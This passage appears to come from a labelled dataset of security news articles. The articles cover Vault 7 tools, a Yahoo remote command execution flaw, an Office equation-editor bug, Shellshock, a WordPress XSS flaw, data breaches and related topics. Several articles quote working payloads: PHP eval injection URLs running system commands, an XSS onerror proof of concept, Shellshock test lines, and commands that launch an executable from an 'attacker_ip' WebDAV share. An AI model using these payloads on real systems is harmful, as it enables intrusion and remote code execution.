AfterMidnight and Assassin – Two alleged CIA malware frameworks for the Microsoft Windows platform that has been designed to monitor and report back actions on the infected remote host computer and execute malicious actions.
Archimedes – Man-in-the-middle (MitM) attack tool allegedly created by the CIA to target computers inside a Local Area Network (LAN).
Scribbles – A piece of software allegedly designed to embed 'web beacons' into confidential documents, allowing the spying agency to track insiders and whistleblowers.
Grasshopper – Framework that allowed the spying agency to easily create custom malware for breaking into Microsoft's Windows and bypassing antivirus protection.
Marble – Source code of a secret anti-forensic framework, basically an obfuscator or a packer used by the CIA to hide the actual source of its malware.
Dark Matter – Hacking exploits the agency designed to target iPhones and Macs.
Weeping Angel – Spying tool used by the agency to infiltrate smart TV's, transforming them into covert microphones.
Year Zero – Alleged CIA hacking exploits for popular hardware and software.

",Malware
Yahoo fixes Critical Remote Command Execution vulnerability,https://thehackernews.com/2014/01/yahoo-fixes-critical-remote-command.html,"Cyber Security Expert and Penetration tester, Ebrahim Hegazy has found a serious vulnerability in Yahoo's website that allows an attacker to remotely execute any commands on the server i.e. Remote Command Execution vulnerability.

According to Ebrahim blog post, the vulnerability resides in a Chinese subdomin of Yahoo website i.e. https://tw.user.mall.yahoo.com/rating/list?sid=$Vulnerability

Any remote user can manipulate the input to the sid parameter in the above URL, that passes the parameter value to an eval() PHP function on the server end.

If an attacker is able to inject a PHP code into this web application, it forces the server to execute it, but this method only limited by what PHP is capable of.

In a POC Video he has successfully demonstrated few Payloads:
Example-1: https://tw.user.mall.yahoo.com/rating/list?sid=${@print(system(""dir""))}
Example-2: https://tw.user.mall.yahoo.com/rating/list?sid=${@print(system(""ps""))}
Last week, He reported the flaw to Yahoo Security Team and also tip-off them of more threat. Interesting fact, Yahoo has fixed the flaw within a day after he reported.
Server kernel was an old one with a well known ""Local Privilage Esclation"" vulnerability, which means an attacker with such vulnerability can gain ROOT ACCESS to the server!!!!
Just a few days back, Facebook has also paid out its largest Bug Bounty ever of $33,500 to a Brazilian security researcher for discovering and reporting a critical Remote code execution vulnerability, which potentially allows the full control of a server.

",Vulnerability
17-Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction,https://thehackernews.com/2017/11/microsoft-office-rce-exploit.html,"You should be extra careful when opening files in MS Office.

When the world is still dealing with the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers have uncovered a serious issue with another Office component that could allow attackers to remotely install malware on targeted computers.

The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.

Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document.

The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents.

However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.

Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions.

DEMO: Exploitation Allows Full System Take Over
Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software.

This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847).

Possible Attack Scenario:

While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below:

""By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it).""

""One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker.""

""Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient.""

""After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service.""

Protection Against Microsoft Office Vulnerability

With this month's Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory.

So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.

Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security.

Users can run the following command in the command prompt to disable registering of the component in Windows registry:
reg add ""HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}"" /v ""Compatibility Flags"" /t REG_DWORD /d 0x400
For 32-bit Microsoft Office package in x64 OS, run the following command:
reg add ""HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}"" /v ""Compatibility Flags"" /t REG_DWORD /d 0x400
Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro).

",Vulnerability
Critical flaw leaves thousands of Cisco Switches vulnerable to remote hacking,https://thehackernews.com/2018/04/cisco-switches-hacking.html,"Security researchers at Embedi have disclosed a critical vulnerability in Cisco IOS Software and Cisco IOS XE Software that could allow an unauthenticated, remote attacker to execute arbitrary code, take full control over the vulnerable network equipment and intercept traffic.

The stack-based buffer overflow vulnerability (CVE-2018-0171) resides due to improper validation of packet data in Smart Install Client, a plug-and-play configuration and image-management feature that helps administrators to deploy (client) network switches easily.

Embedi has published technical details and Proof-of-Concept (PoC) code after Cisco today released patch updates to address this remote code execution vulnerability, which has been given a base Common Vulnerability Scoring System (CVSS) score of 9.8 (critical).

Researchers found a total of 8.5 million devices with the vulnerable port open on the Internet, leaving approximately 250,000 unpatched devices open to hackers.

To exploit this vulnerability, an attacker needs to send a crafted Smart Install message to an affected device on TCP port 4786, which is opened by default.
""To be more precise, the buffer overflow takes place in the function smi_ibc_handle_ibd_init_discovery_msg"" and ""because the size of the data copied to a fixed-size buffer is not checked, the size and data are taken directly from the network packet and are controlled by an attacker,"" Cisco explain in its advisory.
The vulnerability can also result in a denial-of-service condition (watchdog crash) by triggering indefinite loop on the affected devices.

Researchers demonstrated the vulnerability at a conference in Hong Kong after reporting it to Cisco in May 2017.

Video Demonstrations of the Attack:

In their first demonstration, as shown in the video below, researchers targeted Cisco Catalyst 2960 switch to reset/change the password and entered privileged EXEC mode:
In their second demo, researchers exploited the flaw to successfully intercept the traffic between other devices connected to the vulnerable switch and the Internet.
Affected Hardware and Software:

The vulnerability was tested on Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches devices, as well as all devices that fall into the Smart Install Client type are potentially vulnerable, including:

Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs

Cisco fixed the vulnerability in all of its affected products on 28th March 2018, and Embedi published a blog post detailing the vulnerability on 29th March. So, administrators are highly recommended to install free software updates to address the issue as soon as possible.

",Cyber_Attack
Cyber Attacks on Six Major American Banks,https://thehackernews.com/2012/10/cyber-attacks-on-six-major-american.html,"According to reports, some of the United States biggest financial institutions including Wells Fargo, JPMorgan Chase, Bank of America, Citigroup, and Bancorp were hit by a series of cyber attacks last week, by a group claiming Middle Eastern ties, that caused Internet blackouts and delays in online banking.

The banks suffered denial-of-service attacks, in which hackers barrage a website with traffic until it is overwhelmed and shuts down. Such attacks, while a nuisance, are not technically sophisticated and do not affect a company's computer network or, in this case, funds or customer bank accounts.

Hacktivists, calling themselves ""Mrt. Izz ad-Din alQasssam Cyber Fighters,"" attacked Wells Fargo and posted on Pastebin that U.S. Bancorp and PNC Financial Services Group are next. The group said it had attacked the banks in retaliation for an anti-Islam video that mocks the Prophet Muhammad. It also pledged to continue to attack American credit and financial institutions daily, and possibly institutions in France, Israel and Britain, until the video is taken offline. The New York Stock Exchange and Nasdaq were also targeted.

Frustrated customers of Bank of America, JPMorgan Chase, Citigroup, U.S. Bank, Wells Fargo and PNC, who could not get access to their accounts or pay bills online, were upset because the banks had not explained clearly what was going on.

Representatives for other banks also confirmed that they had experienced slow Internet performance and intermittent downtime because of an unusually high volume of traffic. Security researchers said the attack methods were too basic to have taken so many US bank sites offline. The hackers appeared to be enlisting volunteers for the attacks with messages on various sites.

IT Security professionals need to realize that the hackers are doing damage to websites without having to access the corporate servers. They are hitting the site hard without breaking in. A safety barrier must be created and maintained.

Update: Prolexic Technologies said the distributed denial of service (DDoS) toolkit called itsoknoproblembro was used against some of the banks which included Wells Fargo, U.S. Bank, PNC Bank, Bank of America and JPMorgan Chase.

The attack signatures are extremely complex and Prolexic has recorded sustained floods peaking at 70 Gbps and more than 30 million pps against some of its customers. Most mitigation providers would struggle to combat DDoS attacks with these characteristics.

The itsoknoproblembro toolkit includes multiple infrastructure and application-layer attack vectors, such as SYN floods, that can simultaneously attack multiple destination ports and targets, as well as ICMP, UDP and SSL encrypted attack types.

",Malware
RiskRanker : A New malware detection technique,https://thehackernews.com/2012/06/riskranker-new-malware-detection.html,"RiskRanker : A New malware detection technique

For many years, mobile security experts have been fighting an uphill battle against malware, which has been steadily and dramatically increasing in both volume and sophistication. Well, NQ Mobile's Mobile Security Research Center, in collaboration with North Carolina State University disclosed a new way to detect mobile threats without relying on known malware samples and their signatures.

""In the current scenario malicious software is present in the market place, ready to create havoc as soon as it is downloaded onto a device. Malware is discovered only after it has done irreversible damage. Existing mobile anti-virus software are inadequate in their reactive nature by relying on known malware samples for signature extraction. RiskRanker crushes the mean motives of the culprit by detecting any malicious content while it is still in the app market.""

RiskRanker is a unique analysis system that can automatically detect whether a particular app exhibits dangerous behavior. It differs from other malware tools by identifying apps with risky behavior while they are in the app market and before they make their way to a user's phone.

""RiskRanker employs a unique two-step method of discovering malware,"" said by NQ Mobile's Vice President of Research, Dr. Simon Shihong Zou.

In a trial run earlier this year RiskRanker scanned over one hundred thousand apps from a variety of marketplaces that provide Android applications and identified 718 malware threats, including 322 zero-day threats. ""The development of RiskRanker is another demonstration of NQ Mobile's leadership in mobile security and privacy,"" said NQ Mobile Chief Product Officer, Gavin Kim.

",Malware
WordPress Vulnerability Puts Millions of Websites At Risk,https://thehackernews.com/2015/05/wordPress-vulnerability.html,"Millions of WordPress websites are at risks of being completely hijacked by the hackers due to a critical cross-site scripting (XSS) vulnerability present in the default installation of the widely used content management system.

The cross-site scripting (XSS) vulnerability, uncovered by the security researcher reported by Robert Abela of Security firm Netsparker.

Wordpress vulnerability resides in Genericons webfont package that is part of default WordPress Twenty Fifteen Theme.

Here comes the threat:

The XSS vulnerability has been identified as a ""DOM-based,"" which means the flaw resides in the document object model (DOM) that is responsible for text, images, headers, and links representation in a web browser.

The easy-to-exploit DOM-based Cross-Site Scripting (XSS) vulnerability occurred due to an insecure file included with Genericons that allowed the Document Object Model Environment in the victim's browser to be modified.

What's DOM-Based XSS attack?

In DOM-Based Cross-Site Scripting attack, the payload executes in the DOM (Document Object Model) instead of part of the HTML in the victim's browser,

This means the page itself does not change, but the client side code contained in the page executes in a different manner due to the malicious modifications in the DOM environment.

DOM-based Cross-Site Scripting vulnerabilities are much harder to detect than classic XSS flaws because they reside in the script code from the website.

DOM-based XSS vulnerability allows hackers to steal or hijack your session, carry out very advanced phishing attacks.

The vulnerability is actively being exploited in the wild and so far, the researcher has discovered JetPack plugin and Twenty Fifteen theme to be vulnerable to a DOM-based XSS attack. Apparently, any WordPress plugin that comes with the Genericons package is potentially vulnerable to the attack.

JetPack is a popular WordPress plugin with more than 1 Million download. The plugin is bundled with many useful features including customization, traffic, mobile, content, and performance tools, which makes managing a WordPress site a whole lot easier.

How to hijack a WordPress website?

Generally, a DOM-based XSS attack requires an administrator to click on a malicious link while logging into a vulnerable WordPress installation and once clicked, the hackers can gain full control of the vulnerable website.

Security Firm Sucuri's researcher David Dede explains:
""What is interesting about this attack is that we detected it in the wild days before disclosure. We got a report about it and some of our clients were also getting reports saying they were vulnerable and pointing to:

https:// site.com/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror= alert(1)>

In this proof of concept, the XSS printed a javascript alert, but could be used to execute javascript in your browser and take over the site if you are logged in as admin.""
It is not clear exactly how many websites are vulnerable to the attack, but JetPack plugin comes installed by default in millions of WordPress templates, making the count even larger.

Measure to protect your WordPress website:

Administrators of WordPress sites should check if their site is running the Genericons package.

In case it is running, they should either immediately delete the example.html file that is included with the package, or at least, make sure that their web application firewall or intrusion detection system is blocking access to it.

Sucuri has contacted and informed almost a dozen Web hosts who have already virtually patched the vulnerability on their websites they host.

The hosts include GoDaddy, ClickHost, Inmotion, HostPapa, DreamHost, WPEngine, Pagely, Pressable, SiteGround, Websynthesis, and Site5.

UPDATE - WORDPRESS INSTALL
WordPress released WordPress 4.2.2 update few hours ago, resolving the above issues with Genericons icon font package as well as patching the critical cross-site scripting (XSS) vulnerability, which could enable hackers to compromise the websites.

Administrators are strongly recommended to immediately update their sites to WordPress 4.2.2.

WordPress allows security patches to get rolled out to users automatically. But administrators with 'Disabled Auto-update' feature are strongly recommended to upgrade their sites as soon as possible.

",Vulnerability
Hackers WIN $1 Million Bounty for Remotely Hacking latest iOS 9 iPhone,https://thehackernews.com/2015/11/ios9-zero-day-hack.html,"Well, here's some terrible news for all Apple iOS users…

Someone just found an iOS zero-day vulnerability that could allow an attacker to remotely hack your iPhone running the latest version of iOS, i.e. iOS 9.

Yes, an unknown group of hackers has sold a zero-day vulnerability to Zerodium, a startup by French-based company Vupen that Buys and Sells zero-day exploits.

And Guess what, in How much?

$1,000,000. Yes, $1 Million.

Last month, a Bug bounty challenge was announced by Zerodium for finding a hack that must allow an attacker to remotely compromise a non-jailbroken Apple device through:
A web page on Safari or Chrome browser,
In-app browsing action, or
Text message or MMS.
Zerodium's Founder Chaouki Bekrar confirmed on Twitter that an unnamed group of hackers has won this $1 Million Bounty for sufficiently submitting a remote browser-based iOS 9.1/9.2b Jailbreak (untethered) Exploit.

NO More Fun. It's Serious Threat to iOS Users

For those who are not aware, this remote Jailbreak is not really cool.

Why? Because…

The only difference between a malicious cyber attack and Jailbreak is – Payload, the code that executes on target system after exploitation.

A traditional jailbreak process is usually used to deploy an alternative App Store, but in hands of Hackers or law enforcement agencies, the same exploit can allow them to install any app they want with full privileges i.e. Spyware, Malware or Surveillance software.

Moreover, We know that Zerodium's parent company Vupen develops hacking techniques based on those bugs and typically sells them to multiple government customers.

Also Read: For Better Privacy & Security, Change these iOS 9 Settings Immediately.

So, the chances are high that the firm will resell the newly discovered and undisclosed remote iOS zero-day jailbreak exploit to its clients, which are said to include Spy agencies, Governments, and Law enforcement agencies.

Your Turn, Apple…
Let's see how much time Apple security team will now take to find out this open zero-day bug in its software and close the doors before it gets too late.

",Vulnerability
"Remotely Exploitable 'Bash Shell' Vulnerability Affects Linux, Unix and Apple Mac OS X",https://thehackernews.com/2014/09/bash-shell-vulnerability-shellshock.html,"A Critical remotely exploitable vulnerability has been discovered in the widely used Linux and Unix command-line shell, known as Bash, aka the GNU Bourne Again Shell, leaving countless websites, servers, PCs, OS X Macs, various home routers, and many more open to the cyber criminals.

Earlier today, Stephane Chazelas publicly disclosed the technical details of the remote code execution vulnerability in Bash which affects most of the Linux distributions and servers worldwide.

REMOTELY EXPLOITABLE SHELLSHOCK
The vulnerability (CVE-2014-6271) affects versions 1.14 through 4.3 of GNU Bash and being named as Bash Bug, and Shellshock by the Security researchers on the Internet discussions.

According to the technical details, a hacker could exploit this bash bug to execute shell commands remotely on a target machine using specifically crafted variables. ""In many common configurations, this vulnerability is exploitable over the network,"" Stephane said.

This 22-year-old vulnerability stems from the way bash handles specially-formatted environment variables, namely exported shell functions. When assigning a function to a variable, trailing code in the function definition will be executed.

BASH BUG AFFECTS MILLIONS OF SYSTEMS
While bash is not directly used by remote users, but it is a common shell for evaluating and executing commands from other programs, such as web server or the mail server. So if an application calls the Bash shell command via web HTTP or a Common-Gateway Interface (CGI) in a way that allows a user to insert data, the web server could be hacked.

In Simple words, If Bash has been configured as the default system shell, an attacker could launch malicious code on the server just by sending a specially crafted malicious web request by setting headers in a web request, or by setting weird mime types. Proof-of-concept code for cgi-bin reverse shell has been posted on the Internet.
Similar attacks are possible via OpenSSH, ""We have also verified that this vulnerability is exposed in ssh—but only to authenticated sessions. Web applications like cgi-scripts may be vulnerable based on a number of factors; including calling other applications through a shell, or evaluating sections of code through a shell."" Stephane warned. But if an attacker does not have an SSH account this exploit would not work.
This is a serious risk to Internet infrastructure, just like Heartbleed bug, because Linux not only runs the majority of the servers but also large number of embedded devices, including Mac OS X laptops and Android devices are also running the vulnerable version of bash Software. NIST vulnerability database has rated this vulnerability ""10 out of 10"" in terms of severity.

HOW TO CHECK FOR VULNERABLE SHELL
To determine if a Linux or Unix system is vulnerable, run the following command lines in your linux shell:
env X=""() { :;} ; echo shellshock"" /bin/sh -c ""echo completed""
env X=""() { :;} ; echo shellshock"" `which bash` -c ""echo completed""
If you see the words ""shellshock"" in the output, errrrr… then you are at risk.

BASH BUG PATCH
You are recommended to disable any CGI scripts that call on the shell, but it does not fully mitigate the vulnerability. Many of the major operating system and Linux distribution vendors have released the new bash software versions today, including:

Red Hat Enterprise Linux (versions 4 through 7) and the Fedora distribution
CentOS (versions 5 through 7)
Ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
Debian
If your system is vulnerable to bash bug, then you are highly recommended to upgrade your bash software package as soon as possible.

",Vulnerability
9 Popular Password Manager Apps Found Leaking Your Secrets,https://thehackernews.com/2017/02/password-manager-apps.html,"Is anything safe? It's 2017, and the likely answer is NO.

Making sure your passwords are secure is one of the first line of defense – for your computer, email, and information – against hacking attempts, and Password Managers are the one recommended by many security experts to keep all your passwords secure in one place.

Password Managers are software that creates complex passwords, stores them and organizes all your passwords for your computers, websites, applications and networks, as well as remember them on your behalf.

But what if your Password Managers itself are vulnerable?

Well, it's not just an imagination, as a new report has revealed that some of the most popular password managers are affected by critical vulnerabilities that can expose user credentials.

The report, published on Tuesday by a group of security experts from TeamSIK of the Fraunhofer Institute for Secure Information Technology in Germany, revealed that nine of the most popular Android password managers available on Google Play are vulnerable to one or more security vulnerabilities.

Popular Android Password Manager Apps Affected By One Or More Flaws

The team examined LastPass, Keeper, 1Password, My Passwords, Dashlane Password Manager, Informaticore's Password Manager, F-Secure KEY, Keepsafe, and Avast Passwords – each of which has between 100,000 and 50 Million installs.
""The overall results were extremely worrying and revealed that password manager applications, despite their claims, do not provide enough protection mechanisms for the stored passwords and credentials,"" TeamSIK said.
In each application, the researchers discovered one or more security vulnerabilities – a total of 26 issues – all of which were reported to the application makers and were fixed before the group's report went public.

Encryption Keys for Master Key Hard-Coded in the App's Code

According to the team, some password manager applications were vulnerable to data residue attacks and clipboard sniffing. Some of the apps stored the master password in plain text or even exposed encryption keys in the code.

For example, one high severity flaw affected Informaticore's Password Manager app, which was due to the app storing the master password in an encrypted form with the encryption key hard coded in the app's code itself. A similar bug was also discovered in LastPass.

In fact, in some cases, the user's stored passwords could have easily been accessed and exfiltrated by any malicious application installed on the user's device.

Besides these issues, the researchers also found that auto-fill functions in most password manager applications could be abused to steal stored secrets through ""hidden phishing"" attacks.

And what's more worrisome? Any attacker could have easily exploited many of the flaws discovered by the researchers without needing root permissions.

List of Vulnerable Password Managers and Flaws Affecting Them

Here's the list of vulnerabilities disclosed in some of the most popular Android password managers by TeamSIK:

MyPasswords

Read Private Data of My Passwords App
Master Password Decryption of My Passwords App
Free Premium Features Unlock for My Passwords


1Password – Password Manager

Subdomain Password Leakage in 1Password Internal Browser
HTTPS downgrade to HTTP URL by default in 1Password Internal Browser
Titles and URLs Not Encrypted in 1Password Database
Read Private Data From App Folder in 1Password Manager
Privacy Issue, Information Leaked to Vendor 1Password Manager


LastPass Password Manager

Hardcoded Master Key in LastPass Password Manager
Privacy, Data leakage in LastPass Browser Search
Read Private Data (Stored Master password) from LastPass Password Manager


Informaticore Password Manager

Insecure Credential Storage in Microsoft Password Manager


Keeper Password Manager

Keeper Password Manager Security Question Bypass
Keeper Password Manager Data Injection without Master Password


Dashlane Password Manager

Read Private Data From App Folder in Dashlane Password Manager
Google Search Information Leakage in Dashlane Password Manager Browser
Residue Attack Extracting Master Password From Dashlane Password Manager
Subdomain Password Leakage in Internal Dashlane Password Manager Browser


F-Secure KEY Password Manager

F-Secure KEY Password Manager Insecure Credential Storage


Hide Pictures Keepsafe Vault

Keepsafe Plaintext Password Storage


Avast Passwords

App Password Stealing from Avast Password Manager
Insecure Default URLs for Popular Sites in Avast Password Manager
Broken Secure Communication Implementation in Avast Password Manager
Researcher also going to present their findings at HITB conference next month. For more technical details about each vulnerability, users can head on to the TeamSIK report.

Since the vendors have addressed all these above-listed issues, users are strongly advised to update their password manager apps as soon as possible, because now hackers have all the information they require to exploit vulnerable versions of the password manager apps.

",Vulnerability
Capital One Data Breach Affects 106 Million Customers; Hacker Arrested,https://thehackernews.com/2019/07/capital-one-data-breach.html,"Another week, another massive data breach.

Capital One, the fifth-largest U.S. credit-card issuer and banking institution, has recently suffered a data breach exposing the personal information of more than 100 million credit card applicants in the United States and 6 million in Canada.

The data breach that occurred on March 22nd and 23rd this year allowed attackers to steal information of customers who had applied for a credit card between 2005 and 2019, Capital One said in a statement.

However, the security incident only came to light after July 19 when a hacker posted information about the theft on her GitHub account.

The FBI Arrested the Alleged Hacker

The FBI arrested Paige Thompson a.k.a erratic, 33, a former Amazon Web Services software engineer who worked for a Capital One contractor from 2015 to 2016, in relation to the breach, yesterday morning and seized electronic storage devices containing a copy of the stolen data.

Thompson appeared in U.S. District Court on Monday and was charged with computer fraud and abuse, which carries up to five years in prison and a $250,000 fine. A hearing has been scheduled for August 1, 2019.

According to court documents [PDF], Thompson allegedly exploited a misconfigured firewall on Capital One's Amazon Web Services cloud server and unauthorizedly stole more than 700 folders of data stored on that server sometime in March.

""Capital One quickly alerted law enforcement to the data theft — allowing the FBI to trace the intrusion,"" U.S. Attorney Moran said. ""I commend our law enforcement partners who are doing all they can to determine the status of the data and secure it.""

It is important to note that Amazon Web Services was not compromised in any way since the alleged hacker gained access to the cloud server due to Capital One's misconfiguration and not through a vulnerability in Amazon's infrastructure.

Number of Customers and Types of Information Affected

The compromised data includes approximately 140,000 Social Security numbers and 80,000 bank account numbers linked to American customers, and 1 million Canadian Social Insurance numbers.

Besides this, some customers' names, addresses, dates of birth, credit scores, credit limits, balances, payment history, and contact information were also compromised in the security breach.

However, in a statement released on Monday, Capital One assured its customers that ""no credit card account numbers or log-in credentials were compromised"" and that more than 99% of the Social Security numbers that the company has on file weren't affected.

""Capital One immediately fixed the configuration vulnerability that this individual exploited and promptly began working with federal law enforcement,"" Capital One said.

""The FBI has arrested the person responsible. Based on our analysis to date, we believe it is unlikely that the information was used for fraud or disseminated by this individual.""

The company also said it will notify the affected customers and will provide free credit monitoring services to those affected.

",Data_Breaches
Dixons Carphone Data Breach Affects 10 Million Customers,https://thehackernews.com/2018/07/dixons-carphone-data-breach.html,"Dixons Carphone's 2017 data breach was worse than initially anticipated.

In an announcement on Monday, Dixons Carphone, one of the largest consumer electronics and telecommunication retailers in Europe, admitted that the breach affected around 10 million customers, up from an initial estimate of 1.2 million people the company acknowledged back in June.

The company, which has been investigating the hack since it was discovered in June this year, said the investigation is nearly over and now there is evidence that some of the data may have been taken from its systems.

The Carphone Warehouse and Currys PC World owner said the hackers may have accessed personal information of its affected customers including their names, addresses and email addresses last year.

The hackers also got access to 5.9 million payments cards used at Currys PC World and Dixons Travel, but nearly all of those cards were protected by the chip-and-pin system.

However, Dixons Carphone assured its customers that no bank details, including pin codes, card verification values and authentication data used to make purchases, were taken and that there's no evidence any fraud had resulted from the security breach.

""As a precaution, we are choosing to communicate to all of our customers to apologize and advise them of protective steps to minimize the risk of fraud,"" the company said in a statement. ""We are continuing to keep the relevant authorities updated.""

The company said it has now taken action to close off the unauthorized access and has ""no evidence it is continuing.""

Dixons says it has put in place new security measures to safeguard its customer data and is working with experts to prevent any future intrusion.
""We continue to make improvements and investments at pace to our security environment through enhanced controls, monitoring, and testing,"" Dixons said.
This is second time in three years Dixons Carphone has become the victim of a major cyber attack. In 2015, a data breach hit around 3 million customers, for which the company was fined £400,000 earlier this year.
",Cyber_Attack
Superfish-like Vulnerability Found in Over 12 More Apps,https://thehackernews.com/2015/02/superfish-vulnerability.html,"SuperFish' advertising software recently found pre-installed on Lenovo laptops is more widespread than what we all thought. Facebook has discovered at least 12 more titles using the same HTTPS-breaking technology that gave the Superfish malware capability to evade rogue certificate.

The Superfish vulnerability affected dozens of consumer-grade Lenovo laptops shipped before January 2015, exposing users to a hijacking technique by sneakily intercepting and decrypting HTTPS connections, tampering with pages and injecting advertisements.

Now, it's also thought to affect parental control tools and other adware programmes. Lenovo just released an automated Superfish removal tool to ensure complete removal of Superfish and Certificates for all major browsers. But, what about others?

SSL HIJACKING
Superfish uses a technique known as ""SSL hijacking"", appears to be a framework bought in from a third company, Komodia, according to a blog post written by Matt Richard, a threats researcher on the Facebook security team. The technique has ability to bypass Secure Sockets Layer (SSL) protections by modifying the network stack of computers that run its underlying code.

Komodia installs a self-signed root CA certificate that allows the library to intercept and decrypt encrypted connections from any HTTPS-protected website on the Internet. The company's SSL Decoder like Superfish and other programs are present in numerous other products as well.

DOZENS OF APPS USE KOMODIA LIBRARY
The researcher also says that Facebook discovered more than a dozen software applications other than Superfish that use the same Komodia library that gives the Lenovo-spawn its certificate-hijacking powers. The operators listed in the post are as follows:
CartCrunch Israel LTD
WiredTools LTD
Say Media Group LTD
Over the Rainbow
Tech System Alerts
ArcadeGiant
Objectify Media Inc
Catalytix Web Services
OptimizerMonitor
""What all these applications have in common is that they make people less secure through their use of an easily obtained root CA [certificate authority], they provide little information about the risks of the technology, and in some cases they are difficult to remove,"" Richard says.
""Furthermore, it is likely that these intercepting SSL proxies won't keep up with the HTTPS features in browsers (e.g., certificate pinning and forward secrecy), meaning they could potentially expose private data to network attackers. Some of these deficiencies can be detected by antivirus products as malware or adware, though from our research, detection successes are sporadic.""
KOMODIA LIBRARY EASY TO DETECT
In 2012, the Social Network giant started a project with researchers from Carnegie Mellon University in order to measure how prevalent SSL man-in-the-middle (MitM) attack are.

The team found that various deep packet inspection (DPI) devices were making use of the same private key across devices, which an attacker can easily exploit to extract the key from any single device.

The researchers said that the Komodia library can be easily detected as the software that installs the root CA contains a number of easily searchable attributes that enable the team to match up the certificates they see in the wild with the actual software.

SHA1 HASHES TO IDENTIFY MORE MALICIOUS SOFTWARE
Richard also published the SHA1 cryptographic hashes that were used in the research to identify software that contained the Komodia code libraries. The list of SHA1 hashes are:

0cf1ed0e88761ddb001495cd2316e7388a5e396e
473d991245716230f7c45aec8ce8583eab89900b
fe2824a41dc206078754cc3f8b51904b27e7f725
70a56ae19cc61dd0a9f8951490db37f68c71ad66
ede269e495845b824738b21e97e34ed8552b838e
b8b6fc2b942190422c10c0255218e017f039a166
42f98890f3d5171401004f2fd85267f6694200db
1ffebcb1b245c9a65402c382001413d373e657ad
0a9f994a54eaae64aba4dd391cb0efe4abcac227
e89c586019e259a4796c26ff672e3fe5d56870da
The researcher went on to invite fellow researchers to use these hashes in order to identify more potentially dangerous software circulating over the Internet.
""We're publishing this analysis to raise awareness about the scope of local SSL MITM software so that the community can also help protect people and their computers,"" Richard wrote. ""We think that shining the light on these practices will help the ecosystem better analyze and respond to similar situations as they occur.""

",Vulnerability
Google Will Now Pay Anyone Who Reports Apps Abusing Users' Data,https://thehackernews.com/2019/08/google-data-abuse-bug-bounty.html,"In the wake of data abuse scandals and several instances of malware app being discovered on the Play Store, Google today expanded its bug bounty program to beef up the security of Android apps and Chrome extensions distributed through its platform.

The expansion in Google's vulnerability reward program majorly includes two main announcements.

First, a new program, dubbed 'Developer Data Protection Reward Program' (DDPRP), wherein Google will reward security researchers and hackers who find ""verifiably and unambiguous evidence"" of data abuse issues in Android apps, OAuth projects, and Chrome extensions.

Second, expanding the scope of its Google Play Security Rewards Program (GPSRP) to include all Android apps from the Google Play Store with over 100 million or more installs, helping affected app developers fix vulnerabilities through responsibly disclosures.'

Get Bounty to Find Data-Abusing Android & Chrome Apps

The data abuse bug bounty program aims to avoid scandals like Cambridge Analytica that hit Facebook with $5 billion in fines for failing to identify situations where user data is being used or sold unexpectedly or repurposed illegitimately without user consent.

""If data abuse is identified related to an app or Chrome extension, that app or extension will accordingly be removed from Google Play or Google Chrome Web Store,"" Google says in its blog post published today.

""In the case of an app developer abusing access to Gmail restricted scopes, their API access will be removed.""

Google has not yet announced any reward table for the DDPRP program but ensured that a single report could net up to $50,000 in bounty depending on the impact.

Bug Bounty On All Android Apps With 100 Million+ Downloads

On the other hand, the GPSRP Program, which was initially launched in 2017, was until today limited to only reporting vulnerabilities in popular Android apps in Google Play Store.

With the latest announcement, Google will now work with developers of hundreds of thousands of Android apps, each with at least 100 million downloads, helping them to receive vulnerability reports and instructions on how to patch them over their Play Consoles.

""These apps are now eligible for rewards, even if the app developers don't have their own vulnerability disclosure or bug bounty program,"" Google says.

""If the developers already have their own programs, researchers can collect rewards directly from them on top of the rewards from Google.""

Part of Google's App Security Improvement (ASI) program, this existing initiative has already helped over 300,000 developers fix more than 1,000,000 apps on the Google Play Store.

Hopefully, both measures will now allow Google to prevent malicious Android apps and Chrome extensions from abusing its users' data, as well as to beef up the security of apps distributed through Play Store.

",Vulnerability
"ICEPOL Ransomware Servers seized by Romanian Police that infected 260,000 Computers",https://thehackernews.com/2014/01/icepol-ransomware-servers-seized-by.html,"After Financial and Banking Malwares, Ransomware has become the first choice of money motivated cybercriminals.

